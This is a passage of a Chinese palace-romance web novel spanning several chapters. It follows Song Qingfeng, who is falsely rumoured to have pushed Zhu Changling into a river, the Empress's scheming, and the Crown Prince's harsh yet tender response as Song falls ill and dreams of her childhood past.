祝长青见妹妹死死地盯着宋轻风,脸色说不出的难看,他忙扶着妹妹的手起来道:“先别说这么多了,快去内舍换衣裳,这么冷的天,晋王殿下也还湿着,若是得了风寒可怎么好?” 太医也忙急急地到了,晋王忙也吩咐侍从,一时众人忙糟糟一团,扶着两人走了。 围观的众人,左瞧瞧,右瞧瞧,忍不住满脸八卦的神情。 不一时也跟着呼啦啦地去了,连带着宋氏姐妹们,都呼啦啦关心晋王去了。 热闹的河边刹那走得干净。 只有两个陌生的宫人站在一旁,低着头请她起身去换衣裳。 宋轻风一时有些无语。 经此一役,浑身湿得彻底,在岸边被风轻轻一吹,更是赤骨的寒。 她止不住抖了好几抖,只能忍着疲累坐起来,蜷缩在一起,得赶紧换身衣裳,否则只怕会是一场风寒。 “宋娘子!” 宋轻风抬头,瞧见乌梅又绿急匆匆地跑了来,激动地满面通红。 她二人被人绊住,后来听到出了事,急切地在一众人中找来找去,却又被人指去了其他地方。方才顺着人流,才寻到此处。 眼见宋轻风浑身湿透,头发也黏在脸上,又绿忍不住边哭边脱下自己的外袍裹住宋轻风道:“宋娘子您这是怎么了?” 乌梅也裹住她,一顿连珠炮道:“方才听闻祝家那个大小姐落水了,该不会是您……” 宋轻风方要点头应是,乌梅已一把捂住她的嘴,做贼一般地四处扫了一扫,小声道:“真是您将祝小姐推下去的!那可怎么办,她的父兄只怕要告到太子殿下那里去!不过她一向目中无人,也是该!” 宋轻风是字咬在唇边,无语道:“我是下水救人的好吗?” “下水救人?”哪知一旁又绿却惊声叫道,只是目光坚定地看着她道,“娘子您放心,届时我们就咬定了是救人的。” 那目光中分明不信自己是下水救人的。 宋轻风道:“方才那个下水的少年,他们都叫殿下的可以为我作证!” 她方才跳水救人的时候,隐约瞧见了他的背影在远处一闪而过。 乌梅又绿二人面面相觑,今日这院子里的殿下有好几位,都是晋王殿下邀请来的,而方才下水的,正是晋王殿下。 两人倒是信了八九分,乌梅却愈发愤愤地道:“您这是傻子啊怎么能不顾自己的安危去救人?把自己的命搭进去,可怎么得了!这些人怎么扔您在这里不闻不问,回去后您一定要向太子殿下鸣不平……” “好在奴婢带了衣物,赶紧带您去换,这个时候要是得了风寒,可不是闹着玩的,前些年我有个姐妹,就是雨天淋湿了得了风寒死的……” 宋轻风也很是后悔。 自己方才纯粹是头脑一时发热未及思考,才跳下去救人。 如果再给她一次机会,她也想是那个站在旁边瞧热闹的人。 如今都晚了,只好耷拉着脑袋,跟着乌鸦嘴乌梅乖乖去换衣裳…… 李岏从武备院出来,方穿过东华门,便见几个内监急匆匆地往这里来。 那几人瞧见了他正面行来,忙都垂首退到一旁。 李岏方要过去,余光见几人身形,脚步一顿。 高守立时带了几个小太监上前来。 几个小太监不妨被叫到了太子殿下面前来,跪在地上忍不住瑟瑟发颤。 高守代问道:“行色匆匆,出了何事?” 几个小太监埋首在地,还是其中一人回道:“回太子殿下,是……是晋王殿下那里出了事。” “晋王?”李岏出声道,他记得今日晋王设宴,宋轻风也去了。 难道是她出了事? 她第一回出去,闹些风波也是正常。 见殿下亲自问,小太监忙磕头道:“晋王殿下今日在城外设宴,突然,突然祝家的大小姐不知为何掉进河里去了,晋王殿下为了救祝家大小姐,也跟着跳进去了……” 李岏眉心一皱打断他道:“人如何了?” “都都都救上来了,只是祝小姐受了惊吓,痛哭不止。奴婢等人受命,特来进宫寻祝大人归府。” 李岏转了目光,一面叫侍从立刻去寻祝首辅,一面问道:“祝家大小姐好端端地为何落进了河里?” 几个太监跪在地上,愈发抖都厉害,方才说话的小太监更是支支吾吾地说不出话来。 一旁高守怒斥道:“太子殿下问话,居然遮遮掩掩?若是有半句欺瞒,立时拿了问罪。” 他身形魁梧,声若洪钟,叫几个可怜的小太监吓得缩成一团,愈发抖着说不出完整话来。 正此时,全福正拿了衣裳匆匆行来,瞧见此间情形,立刻知道所为何事。 他方才来的路上已收到了消息,正是满心忧色。 行礼完方要开口,哪知那小太监吓得连连磕头又说了出来:“奴婢该死。据……据……据来人说,祝祝家大小姐落水之时,是……是宋娘子站在一旁……” 那小太监又道:“听听听闻宋娘子与祝小姐之前便有争执……” “为何事?” “祝家小姐听宋娘子,,宋娘子说……” 全福忙要拦住,却感受到太子殿下的目光扫来,他一惊,只得乖乖站好。 小太监双目一闭,知道自己今日死期到了,死死地将头抵在地上:“据说宋娘子告诉祝大小姐,太子殿下宠幸了她,还允她生养子嗣,便是以后祝小姐入东宫,也拦不住她生出长子来。” 祝家小姐喜欢太子殿下的事,在这京师几乎是人尽皆知。 不想一腔热意,等来的却是太子许诺一个侍妾生下庶长子的承诺,一向心高气傲的她,如何能忍。 全福吓得魂飞天外,怒骂道:“混帐奴婢!这哪里听来的胡言乱语,也敢到殿下面前来扯舌头根?” 小太监拼命磕头道:“太子殿下饶命啊,此事早已传开,奴婢只是据实所言,不敢有半分欺瞒。” 李岏面色沉了下来。 他对小太监的话并无怀疑。 自己在西山大营时确实对她说过这样的话,只是这样私密的话,只有他们两人知晓,她若不宣扬,旁人又如何得知? 李岏与高守道:“孤的私事,容不得旁人置喙。你去,宫内外若还有传言议论孤子嗣之事,一律拉去皇城司治罪。” 高守忙答应着去了。 “宋氏呢?” 小太监面面相觑,他们行得匆忙,并不知宋娘子的情形。 全福忙道:“方才跟着的侍卫来报,宋娘子已经在回来的路上了。” 说着他凑近了小声道:“奴婢听闻宋娘子也落了水,此中事情缘由,还需问问宋娘子。” 她也落水了? 李岏拧了眉头还未开口,却听身后有急匆匆地脚步声行来。 祝首辅被他儿子搀着,神色紧张,须发因行得匆忙在空中飘荡,满面惶急。 走到近期,他缓住脚步,下跪行礼道:“太子殿下,臣失礼了。” 李岏扶住他道:“长灵今日受此惊吓,孤陪你一起入府探望。”说着与全福道,“去传话,孤去祝府,下面的事让赵丰盈代孤全权去办。还有派人速去太医院请张太医一并前往。” 祝家父子二人连连谢恩。 几人一起去了。 全福跟在后头面露忧色。 按这祝老爷子对孙女的宠爱程度,若是那祝小姐无事还好,若是有个什么,只怕宋娘子要生些变故…… 祝长灵落水,晋王更是下水救人。 宴席一时兵荒马乱,传言四起,很快就散了场。 宋轻风湿了彻底,虽然换了干净衣裳,头发也尽力绞了,可还是浑身发冷,止不住打寒战。 宴席既已散了,她便也坐车回东宫。 方上车,乌梅这才白着脸道:“这帮子是非不分的好人,怎么这般污蔑人。” 宋轻风道:“怎么了?” 乌梅道:“方才我不过去取个炭炉,她们看我的眼光,都鬼鬼祟祟的!我这才留了个心眼,原来这些人都在传,说是娘子您,您推那祝小姐下水的!” 宋轻风无语地翻白眼道:“清者自清,管他呢!再说那祝小姐又没死,总归知道是不是我推的吧!难道还想诬陷我不成。” 乌梅道:“娘子,您可想得太简单了,若是这话传到太子殿下的耳中,会如何?” “他,他……他应该,不会相信的吧,”宋轻风结结巴巴,自己也失了底气。 一旁又绿一脸惶急道:“若果真如此,娘子到时候百口莫辩。” “那……那会如何?” 乌梅忍不住抖了抖,喃喃地道:“轻则被逐出宫去,重则……” 宋轻风一激灵,擦头发的手一抖,下意识抓紧了腰侧的荷包。 不行,她现在还不能出宫去。 无论如何,一定要赶在太子准备发落她之前与他解释清楚才成,不能叫他听信了旁人的鬼话。 可是来到方华殿,才知太子殿下去了祝府探望祝长灵去了,连全福都跟着去了。只是不知什么时候回来。 果然殿下是关心那祝小姐的,一听闻她落了水,立马就去了。 宋轻风不想回去,只好在门口等着。 今日原本风和日丽,哪知到了傍晚,却天色转阴,淅淅沥沥下了雨。 这雨绵密细小,不过瞬间就打湿了头脸。雨丝飘撒下来落了颈窝,凉意浸入骨髓。 宋轻风结结实实又抖了抖,她没带伞,看了看,只好自己掀开裙摆跑到屋檐下去躲雨。 高守也随太子出去了,只几个眼熟的守卫扫了她一眼也未说什么。 谁知天色愈晚,雨不光没有要停的迹象,却越下越大,噼里啪啦,击打在宫顶屋檐上。 方华殿很快淹没在一片大雨滂沱之中。 檐下的宫灯在风雨中无力地招摇,似乎只有哗啦啦的雨声响彻在天地之间。 宋轻风躲在屋檐下,一个劲地抖着裙摆溅的水,不一时裙摆还是湿透了,她停了手放弃了抵抗。 只是白日落了水,晚上又被雨气沾染,一时从内而外地发寒。她蹲在角落,抱紧双臂,忍不住竖起耳朵,想要听到有人回来的动静。 只是雨夜里,除了哗哗的雨声,似乎什么也听不到。 来东宫几个月,似乎总是等在这里的时候多一些。 但是这世上的等待,却又各有不同。 知道等的人一定会回来的感觉,叫她迷恋。 不像她在破云庙,从花开等到雪落,等的人却再没回来过—— 作者有话说:晚安~ 第38章 第 38 章 你疯了,敢如此大逆不道…… 紫晨宫灯火通明。 炭火烧了好几炉, 屋内暖得好似夏日。 宫人们端着衣物净盆鱼贯而出,撤了干净。 门方合上,便传来一声叫嚣:“为什么不可以?我喜欢她, 就要得到她!难道连女人我都要让给他!” 皇后气地手发颤,手中的帕子举到半空中,到底没忍住落在儿子的身上。 晋王从床上起身道:“母后, 若不是你拦着我不让我去求父皇将长灵许给我。此刻她便是我名正言顺的王妃, 今日之事,又算得了什么!” “你难道不知我为何要拦你?”皇后问道。 “自然因为那祝小姐一心惦记的是那位, 这事谁都知道。可那又怎么样,我喜欢的女人,自有办法叫她只能喜欢我!反正现在他的婚事是母后说了算, 您随便给他找个其他女子, 将祝大小姐给我不就行了。” 皇后看着自己的儿子,无力地道:“正是因为由母后做主这婚事,才不能为你开口。” “为何?难道母后还怕他不成?” 皇后看着儿子英俊却委屈的神情,她终于明白为何太子会突然同意将婚事叫给她来处置。 只因为她的儿子这时候回来了! 他到底年纪还小, 与那位比起来, 心思手段实在是半点不及。 若是自己还不能为他争一争,凭他的本事,日后只能成为鱼肉任人宰割。 皇后叹气道:“若是母后这般做了, 难道祝家不会忌恨?你舅舅又一心想把芝儿嫁给你,难道他不会恨我?更何况……” 她说到此住了口, 更何况, 陛下不会猜忌?这些年,陛下最恨的是什么,她比谁都清楚。 本来, 她就是被架在火上,不管如何选择,都是吃力不讨好,将祝家给六郎,祝小姐必然不愿,给了太子,又平白给太子送了一个极大的助力,那从此六郎只怕再无机会。 她正是两难之时,不想经过六郎这么一闹,她更是被动。 祝家忌恨他母子也就算了,若是太子和祝家日后得知祝小姐曾被六郎轻薄,此事又岂可善了? 晋王想到祝长灵的容颜,和今日那绵软的唇,心中躁动,只想赶紧将人揽进怀里好好疼惜。 当即又急又气道:“这也不行那也不行,母后你快想想办法!” 皇后道:“今日我已将消息散布出去,祝大小姐落水乃是受那宋氏的陷害,宋氏是东宫的人,和他自也脱不了干系。” “方才祝首辅还入宫谢恩,感激你救了他孙女。想必那位祝小姐也是要脸面的人,不会将你供出去,暂时还牵连不到你。” 晋王急道:“光不牵连我有什么用啊!我要娶祝小姐进门,马上就要,儿子等不及了。而且,而且……” “而且什么?” “今日儿臣与长灵之事,只怕被那宋氏瞧见了,她跳水救人之时,儿就在附近,难保她不会生了疑心。” “什么?”皇后皱眉。 晋王甩手道:“不管了!她一个侍妾,瞧见了又能如何,难道还敢到处说去?” 皇后看向这个自小疼爱,从未受过半分委屈的儿子,他已近十七,却还是如此意气用事。这样的人,适合那个位置吗?她心中甚至怀疑自己是不是错了。 转而又见儿子生得风流倜傥,如珠似玉。 不,自己的儿子,并不比那人的儿子差。他只是自小未曾遭过挫折,娇惯了些罢了。 “这宋氏既瞧见了,便难保万一,本宫会想办法叫她开不了口。” 晋王见她在这宋氏头上打转,愈发急地团团转。 他爱恋祝大小姐,今日说陛下赐婚都是诓骗她的,他只想尽快将生米煮成熟饭,到时便是陛下不赐婚,祝家也会来求他。 哪知祝长灵这般性烈,直接跳了河,这样的女子愈发投他所好,更是叫他心中如猫抓一般。 若不是他被皇后叫进宫来,早出去寻他养在外头的几个姬妾散火去了。 皇后见他为个女人这般没有出息,甚至还不顾安危跳下河救人。不由地泼他冷水道:“等你娶妻,按照朝廷的规矩,你就该之藩了。” 此言一出,晋王不由一愣,他一时兴奋,竟将此大事给忘了。 他这么大了,婚事也拖不得,等真成了亲,难道真要离开繁华锦绣的京师,去那偏远穷苦的山西? 他一把跪在皇后面前,趴在她的膝上呜呜哭道:“母后,儿子舍不得离开你,儿子想一辈子留在您身边孝顺您。” 想到儿子之后要去属地,母子分离,再见都是奢望,皇后心如刀割,一时心中下了狠意,就算为了儿子能留在身边,那个位置,她也要争。 她摸着儿子的发顶道:“我一定不能叫我们母子,受此生离之苦,至于女子,管她灵儿芝儿,你便是娶上几个又何妨。那祝家,母后不光要让你娶进来,还要让他们对你感恩戴德!” 晋王自膝上抬起头,擦了把眼泪喜笑颜开地道:“母后有办法?有母后在,儿子什么事都不用怕。” 皇后扯了嘴角勉强笑了笑,而后又变了脸道:“还有,以后不管遇到何事,都不可将自己置于险地!别说今日是祝家,便是明日母后落了水,你也只能看着,不可冒险!” “你若是有什么三长两短,母后也不活了。” “可……” 皇后打断他道:“你莫要逞自己年轻不当回事,今日落了水,这些日子给我好生歇着。至于今日之事,一切都推给宋氏和那位就是了!”。 祝长灵又哭又吓,睡了一通。 等她从昏睡里悠悠转醒,隐约瞧见床前不远处站着个熟悉的背影,那背影被烛火镀了银边,长身而立,形如玉树。 她心中一跳,险些惊叫出声。 听到声响,那背影转过身来,行到床边温声道:“祝姑娘,你醒了?” 祝长灵瞧见他的面容,肤如凝脂,眉如远山,正是自己心心念念的模样。 是太子殿下,他特意来看望自己! 她面上一喜,而后满腹委屈再拦不住,真恨不得一把扑到他怀里狠狠地哭一场。 但是碍于身份,她只能躺在床上抽泣,不一会哭得愈发凶狠。 “太子殿下一听闻你落水,百忙中抽出时间来瞧你,别只顾着哭,”站在不远处的祖父祝渊斥道,“还不快给殿下见礼?” 祝长灵还未行动,李岏已道:“不必了,祝姑娘好生躺着吧。太医。” 候立在旁的太医忙应声上前来请脉,而后行礼道:“太子殿下,祝大人,祝大小姐受惊落水,此刻已无大碍了。” “嗯,下去开方熬药。” 太医忙行礼出去了。 李岏开口道:“索性无恙。只是今日落水,寒气入体,绝不可小觑,这些日子哪也别去,就在府里仔细调养。” 祝长灵连连点头,她从未受过他这般殷殷关怀,一时欢喜地觉得今日这场落水,也是值了。 李岏道:“玉梳湖虽美,水却又深又凉极为危险,你平日里也是稳重的,今日不知何故出了这番事故?” 祝长灵泪眼婆娑,见他站在床边,眉目温和地看着自己,专心在等她说话。 他平日里政务繁忙,听闻自己落水,放下一切特意跑来祝府看望自己。 他大概还不知道,陛下已准备将自己许给晋王了? 他若是知晓,还会这般对自己吗? 他这么好,为何不能属于自己? 她转眼想到如今在他身边的人!心中如生了火一般焦灼。 只是而今宴席方散,她并未开口,可四处流言却起,说是宋氏欲要害她将她推入河里。 她也并没有过多解释,不过是顺水推舟。 如今太子亲自来问,不正是除去宋氏的好时机? 心念电转间,祝长灵忙改了口道:“我,我……我也不知为何会落了水……好像……好像是有人推了我……感觉好像是,像是那宋……” 不想太子殿下却已打断了她,开了口道:“是吗?这该叫人好生查查,是谁这般大胆!今日孤有事,我府上的宋氏代孤去了,她素来是个顽皮的,今日若不是她在边上玩水,刚好救你,不然后果不堪想象。” 祝长灵一听,刚恢复了一丝血色的脸刷地白了,嘴唇止不住地颤抖。 “您,您说什么?” 李岏道:“不过宋氏到底是个女子不中用,全赖晋王才救下你。他设宴出了这么大纰漏,原该好生罚罚,如此也算是将功补过。” 祝长灵不想自己还没开口,殿下却居然说出这样的话,一时目瞪口呆。 不知是不是自己的错觉,他提到宋氏,那口气分明全是亲近。 她愈发心慌,也不知外头的传言发生了什么变化,还是宋氏已与他说了什么。 只能拿眼去瞧哥哥。 可祝长青跟着爷爷与父亲站在门边,只是低着头。 闻听此言,祝渊上前躬身道:“小孙女能安然无恙,臣代她谢殿下,谢宋娘子的救命之恩,若有机会,可否容臣当面代祝家谢宋娘子。” “嗯,”李岏应道,“当面就不必了。” “只是晋王办个私宴,如此草率轻忽,他虽也下水救人,可孤绝不能轻饶他。” 外头的风雨声突然噼里啪啦传进了屋内。 雨声潇潇。 李岏看了看窗外,眉目不清,突然开口道:“祝姑娘今日受了惊吓,孤不打搅你休息,这便回宫了。” 守在一旁的祝渊忙道:“屋外雨大,臣护送殿下。” 祝长灵一腔话都说不出口,看他转身离去,背影渐行渐远,失了此次机会,恐再难有机会了! 她一咬牙从床上直起身来道:“太子殿下!” 李岏顿了顿,转过身来。 他的眉目隐在暗处,透过来的目光不知为何叫祝长灵心中一惊,后面的话嗫嚅了下来。 李岏道:“在家好生休养,这些日子不要出门了。太医这些日子就守在此处看顾你。”。 宋轻风抱着胳膊又结结实实地打了个寒颤。 手脚早已冻得冰凉,寒气在全身上下肆掠。 她蹲着的腿隐隐发麻,感觉头有些发胀,整个人都有些昏昏欲睡。 早知道代太子出宴是这样的结果,便是去天庭她也不去了。 让她更无语的是,没想到叫乌梅那个乌鸦嘴给说中了,方才她听顺意说,如今到处都传遍了,说是那祝大小姐落水,乃是被自己推下去的! 她一时傻眼,不想一场好心,冒了性命危险去救人,却得了这个冤枉。 此番太子又急急地去了祝府,等他眼瞧着自己未来的太子妃落水的可怜模样,只怕心疼得不行。 待会她就算辩解不是自己做的,他会相信吗? 他只怕是不信的。 他向来对自己就没什么好印象,何况他说过,祝小姐是主,而她是仆,出了什么事那都是她的错。 估计他听到这个传言早就暴跳如雷,已经想好回来要怎么惩戒她了。 宋轻风瞬间感到膝盖有些疼,莫不是又要罚跪一场? 正想着有的没得,却突然听到一阵急促的车轮马蹄声,在哗哗地雨声里格外明显。 等她反应过来,却见一群东宫卫护送着太子的车驾已进了院门。 磅礴大雨里,车身还未停稳,却见他自己掀开车帘子,跳下了马车。 衣摆溅上了雨滴。 整个人影在朦胧秋雨里,熟悉地叫她眼眶发酸。 宋轻风不自觉地奔上前去,连伞都没来得及撑,只是道:“你回来了!” 雨水哗哗而下,从伞面上滑下来如雨帘一般,阻碍了视线。 李岏还未下车,却猛然瞧见一人影缩在角落里。 他眼皮一跳,瞧清了对方小小的身体,脑袋缩着,浑身上下都发着抖。 瞧见他来,她整个人哆哆嗦嗦地跑上前来,刘海下隐约瞧见脸色白如透明,唇却泛着紫。 此刻那嘴上却勉强扯了个笑,结结巴巴地道:“太子殿下,您,您……回来啦!” 李岏不知哪里冒出来的怒火,熊熊燃烧,他一步冲上前去,呵问道:“你为何在这里?” 宋轻风抱住双臂,抖着声音道:“妾在等殿下回来。” 这种大雨天,等我回来? 全福忙使人给她撑伞,她却唯恐自己的声音太小被大雨覆盖,又怕声音太高被旁人听了去,当即凑到李岏的伞下,小心翼翼地道:“我只是想和殿下您说,不管祝小姐今日和您说了什么,我都没有推她下河。您可以相信我吗?” 李岏闻言,眉目如覆了寒霜,面色比这场秋雨还要阴沉。 这样的大雨,等在这里就为了这句话? 见他如此面色,宋轻风心中咕咚一声,直觉不妙。 她忙补充道:“我说的都是真的,您能不能不要撵我出宫啊?” 李岏见她双唇哆嗦着,雨顺着伞骨落在她的肩上,裙摆早已湿透了,一时声音如淬了冰道:“你这是什么模样?” “你是我东宫的人,你出门去,代表的是我东宫的脸面,若是旁人欺你,便该还回去!弄得如今这副凄惨模样,是要给谁看?” “我……” 宋轻风还未开口,却听他已转身与旁边全福道:“今日跟着她出门的人呢?拿了送去皇城司问罪!” “是!”全福忙领命称是。 什么! 皇城司!宫人被送去皇城司问罪,有几个能全须全尾地出来的。 宋轻风大惊,下意识一把扯住他捏着伞骨的手叫道:“您做什么,不要不要!我真的没有推人下河,她们更没有!” 可没有他的发话,侍从不敢耽搁,飞快动身往破云院去拿人了。 宋轻风死死抓住他的手道:“真的不关她们的事,您若非要让我为祝小姐赔罪,您便罚我吧!” 李岏感到抓着的手冰凉入骨,不似人的温度,一时心中密密匝匝如被针刺。 他道:“宫里有宫里的规矩!” 宋轻风见他毫无所动,一时恶从胆边生,伸手一把推了他,推得他一个踉跄,手里的伞也险些掉地。 而后自己就拔腿要往破云院跑。 大雨肆意而下,不过瞬间就浇了她一脸。 众人大惊。 李岏更是目瞪口呆,如何也想不到她居然敢推自己,一时不敢置信,冲上去一把抓住了她的手。 他力道大得如铁钳一般,紧紧箍住她的手腕,宋轻风吃痛,忍不住痛呼出声,苍白的小脸皱成一团。 他却手下并不松,双目泛着红,咬牙切齿地低声道:“你疯了,敢如此大逆不道!” 宋轻风手腕生痛,挣了两下却没挣出去,只好放弃抵抗道:“您有气都往我身上撒,为何要迁怒旁人。” “我都说了我没有推人下河,我是去救人的,旁人不相信也就罢了,您就不能相信我吗?” 李岏沉声道:“我相不相信,有什么重要!” 闻听此言,宋轻风埋下头,忍不住泪眼婆娑道:“当然重要,这个世上,旁人可以不管,你要相信我。” 宋轻风说着,心中却又泄了气,好一会用另一只手抹了眼泪道:“所以我方才推了您,您打算怎么处置我?也要送去皇城司吗?” 李岏的手骤然一松—— 作者有话说:晚安~ 第39章 第 39 章 兰…… 她真是恶胆包天!敢对他伸手, 以为去个皇城司就能解决? 秋雨哗哗而下。 李岏冷脸看着面前的女子,不过他下巴高,圆圆的脑袋在抽泣下一耸一耸, 隐隐瞧见被他抓过的手腕通红一片。当即咬牙切齿地与旁边人道:“去,不必拉去皇城司,就地杖二十!” “是。” 宋轻风豁然抬头, 见他眉目凌厉, 夜色里双眸泛着冷光。 她明白这已是他最后的让步。 他一直是这般不近人情,近乎冷酷的。 外裳的湿意慢慢渗透进里衣, 寒意爬满了全身,她下意识抱了抱胳膊。 李岏道:“站着干什么,去换衣裳。” 宋轻风低声道:“好。”说着就转身往破云院去。 “你又要去哪!” 宋轻风还没反应过来, 却觉身体一轻, 世界颠倒,眼前紧紧贴着的是他的衣裳! 抬头却见他光洁的下颌,薄唇紧抿,额角青筋隐现。这一惊非同小可, 好一会才反应过来自己居然被他抱在了手中。 全福在一旁撑伞, 那伞并不如何大,雨声敲在头顶,噼里啪啦, 雨帘顺着伞面形成一小片漂亮的瀑布。 她把自己缩成小小的一团,紧紧地蜷在他的怀里。 就像很多年前。 他们初见。 兰哥哥便抱着她瘦小颤抖的身体, 一路走一路走, 从白日走到黑夜,走到了一座破庙里。 而她,安心地躺在他的怀里, 做了一个美梦。 那个时候,那个怀抱,就是她的全世界。 李岏抱起人来,方觉触手一片冰冷,晕染的自己的衣裳都有了湿意。 而怀里的人,却意外地轻地如白云一般,指尖却能感觉到内里隐隐的颤抖。 他冷着的脸像是结了冰,不过三两步就跨到了殿门口。 “哐当”一声巨响,侍卫还没来得及开门,殿门已被他一脚踹开。 两扇门在余波里晃荡。 等宋轻风反应过来的时候,自己已被放了下来,触鼻是恬淡的香,和迷雾蒙蒙的四周。 屋内暖和异常,她狠狠地抖了抖,这才发现自己被放在一张长榻之上。 不远处那块画着山水行舟的琉璃屏风若隐若现。 这是他沐浴的地方! 此刻他便长身立在一边,眉目在灯火里,不需细看,也知是多么难看。 一众侍从,捧着衣裳物什,埋着头小心翼翼地进出。 全福远远躲在一旁,悄没声息给屋内加炭笼。 寒冷的秋雨,被彻底隔绝在了外边,只有竖起耳朵,才能隐约听见窸窸窣窣的声音飘进来。 宋轻风感到浑身汗毛竖起,寒意如一条肆意奔走的蛇在她身上疯狂逃窜,脑袋有些发晕。 她一把从长榻上跳了下来,不知为何,却一时不敢抬头看他,只是磕磕巴巴地道:“这……这是您的内室。” 李岏立在一旁,冷笑道:“现在倒是惦记起了尊卑。” 宋轻风扯着衣摆嘟囔着,低声道:“我知道这不合规矩,不敢麻烦您,我换身衣裳就行了。”说着接了侍从的衣裳就要往外去。 李岏站在一边,阴恻恻地道:“不敢麻烦?” “难道是想要我亲自动手?” 宋轻风慌忙停下,摆手道:“不必,不必。” 他看了一眼,掀开衣摆就转身出去了。 哪知从浴池里出来,她还是感到头重脚轻,嗓子如滚了刀片,鼻子如被泥糊住了一般。 也不知是怎么走到的外边,只是灯影交错,来来往往,她一时分不清到底是做梦还在现实。 她只是感到浑身发冷,尽力想要抓住身边一切暖和的东西。 在这迷迷糊糊中,却不知为何想起很久以前的一件小事。 那是一个寻常的傍晚,外头在下大雨,破云庙里在下小雨,一道道银色的细线从屋顶的小孔中滴下来。 庙内阴湿寒冷,她怕冷,缩在石像前头尺寸大的干地上。 兰哥哥坐在她的旁边,拍了拍她的头笑道:“你瞧,这雨像什么?” “像什么?”她结结巴巴地问道。 “像是天上的银河,这万千的星星便这般落了下来。” 宋轻风顺着他的目光望去,果然瞧见那些雨水在昏暗的庙内闪着微弱的光,当真如星子一般跳跃灵动。 她一时难以置信,忍不住赞叹道:“果然如此!” 兰哥哥道:“这可是落入凡间的星辰,若是你能接住这星星,就能许愿!” 听他这样说,她立马跳了起来,在这破庙漏水的各处蹦跶,接了一捧又一捧星星。 她那时候许了好多好多的愿望,多得自己早就已经记不清了。 宋轻风有些后悔,若是当时只许一个愿望,是不是就能实现了? 几番挣扎之中,却听耳边似乎有人说到落水。 落水?她迷迷糊糊地想道,真是该死,怎么还是把这事想起来了。 是了,她落了水。 冰冷的河水重又淹没了她的口鼻,河水的灌入让她止不住剧烈的咳嗽,却引得更多的河水的涌入。 她疯狂地挣扎,挥动四肢,就在快要窒息而亡的前一刻,脑袋终于从水中提了出来。 河水哗哗而下。 她一边大口呼吸着久违的空气,一边弯腰剧烈地咳,彷佛要将五脏六腑全都咳出来才罢休。 不等她喘过气来,耳后的人声却如幽鬼一般重又响起:“想起来了没,死丫头?” 宋轻风转过头来,却对上一个精瘦细长的脸。 她浑身一震,止不住地剧烈颤抖。 那细长脸死死抓住她的领子,扼住她的咽喉,嘴角挂着狞笑,下一秒就又要将她按入水中。 她慌忙地哭叫道:“我不知道,我真的没有!你到底是听谁说的?” 那细长脸不想一个小女孩在如此折磨五次三番之后,还是这样的说辞,一时将凶恶的目光对准了身后。 而他的身后,一个浑身黑乎乎的小孩,被他瞧得浑身发抖,拼命地叫道:“我没有说谎,她就是有,我亲眼见到的!” 宋轻风无力地转头,瞧见身后缩在角落里的小孩。 是几个月前,她在街边救下的小乞儿,名叫小七。 小七年纪不大,却不知从哪学了好些笑段子,一路逗得她开怀大笑。 她们一起,度过了整个寒冬。 她扯开苍白的嘴,与细长脸道:“一个偷蒙拐骗的乞儿的话,您也当真吗?” 小七听闻,满面惊慌,慌忙地摇着手,跑上来质问道:“你快说!你到底将东西藏他娘的哪去了!我就是记得你掏出来看过!你还说这东西要是当掉,我们两都能好好地活下去!” 宋轻风无力地闭了闭眼睛。 她扯开嘴道:“你做什么爹的梦!你饿疯了吧!” 小七双目陡然睁大,不敢置信地冲上来摇着她道:“你撒谎!你撒谎!” 细长脸怒不可遏,一把挥向小乞丐,小乞丐不过七八岁,在他的大力之下,如破布一般咕咚落进了河里。 他在河里疯狂地挣扎,大叫道:“我不会水!救…救…姐姐,救救我!” 他在一声声姐姐中,慢慢挣扎着沉了下去。 宋轻风不忍细看,有心想要下河救人,可她自己却动不了分毫。 细长脸却不顾那么多,双目泛着可怖的狠,转而与她道:“我倒是要瞧瞧,你能挺多久。” 她不知道挺了多久,只知道,这个世上,有时间活着,比死了还痛苦。 她在迷蒙中想着如何才能快速地死时,他便如天神一般,出现在了她的生命里。 太医把玩完脉,面色凝重。 低头对坐在不远处的殿下回禀道:“太子殿下,宋娘子寒气入体,肺经受损,脉象沉细无力,加之本就体虚,如今人又高烧不退,这风寒实在不可小觑,需格外仔细调理,臣…臣担心…” 李岏看了看在床上的人,摆手打断他道:“知道了,去开方熬药。” 屋内的人走了干净,李岏才起身来,走到床边。 只是似乎之前见到的她,不管如何都是笑意盈盈,活泼灵动的,今日却全变了模样。 床上的人紧紧裹在被子底下,整张脸泛着异常的红,细小的眉头痛苦地紧锁着,口中一直喃喃念叨着什么。 凑近了,却听她一直叫得是“小七。” 他不由有些愣神。 小七。是谁? 她便这般反反复复地叫着同一个名字。 李岏重又走到一旁,在书案上坐定,看晚间赵丰盈递过来的汇略。 不知看了多久,却又听榻上的人突然又咯咯笑了起来。 李岏诧异抬头道:“笑什么?” 等再细看,才发现她并没有醒过来,脸上红云未褪,不知梦到了什么,却只是闭着眼咯咯的笑。 笑了一会,便又没了声音,不一会又皱着眉头,皱着皱着,挣扎了起来。 李岏再看不进任何字,索性扔了书,走到床边坐了下来。 她从来不安分,连高热之时,也是这般模样。 居然又哭又笑。 宋轻风却在一片混沌中感到忽冷忽热,一时分不清自己身在何处。 她拼尽全力,终于在一片挣扎中醒来。 屋内烛火暗淡,照着旁边一个人,身型落拓,面如白玉,眼下一点红痣若隐若现。 宋轻风心头猛震,一把抓住他道:“你…你回来了?” 不等对方回来,她却已泪眼婆娑,死死抓住他的手道:“我等了你好久好久,久到我以为你再也不会回来了。” 李岏心头一紧,还未答话。 她却已一把扑在他的身上,紧紧抱着他呜呜哭将起来。 “我终于等到你回来了。” 李岏欲要推开她的手,抬起又放下,心中一时不知是何滋味。 他张口,轻声道:“等我做什么?” 宋轻风道:“我害怕。” 李岏心口没来由地酸涩难言。 想像着她在大雨里,是如何担惊受怕地等着自己回来的模样。 她说完,余光却见床头一盆幽兰开得正盛。 她松开他,指着兰花笑道:“你瞧,我见着兰花了。” “兰哥哥,我好想你。” 李岏浑身一震,声音冰寒刺骨:“你叫我什么?”—— 作者有话说:晚安~ 第40章 第 40 章 风寒 疾雨声涌进了屋内。 屋内只有书案上燃着烛。 火光的阴影打在李岏的脸上, 他一字一字沉声问道:“你叫我什么?” 宋轻风被他怵人的目光瞧得一愣,激灵灵抖了抖,突然在烛火摇曳中瞧清了面前的人。 肤如玉脂, 眉眼俊美,却如霜似雪,暗藏刀锋。 她刚升腾起来的心渐渐冷了下去, 一阵难言的闷痛自心口飘起来, 令她头晕目眩。 他并没有回来,一切都只是梦。 宋轻风闭上眼睛, 扑地倒回榻上,掀开被子蒙住了头。 李岏看着鼓起来的被子,一时未回过神来。 怀里热意散去, 突然就感觉空了下来。她那微微颤抖的身体, 紧贴着自己的触感却还未散去。 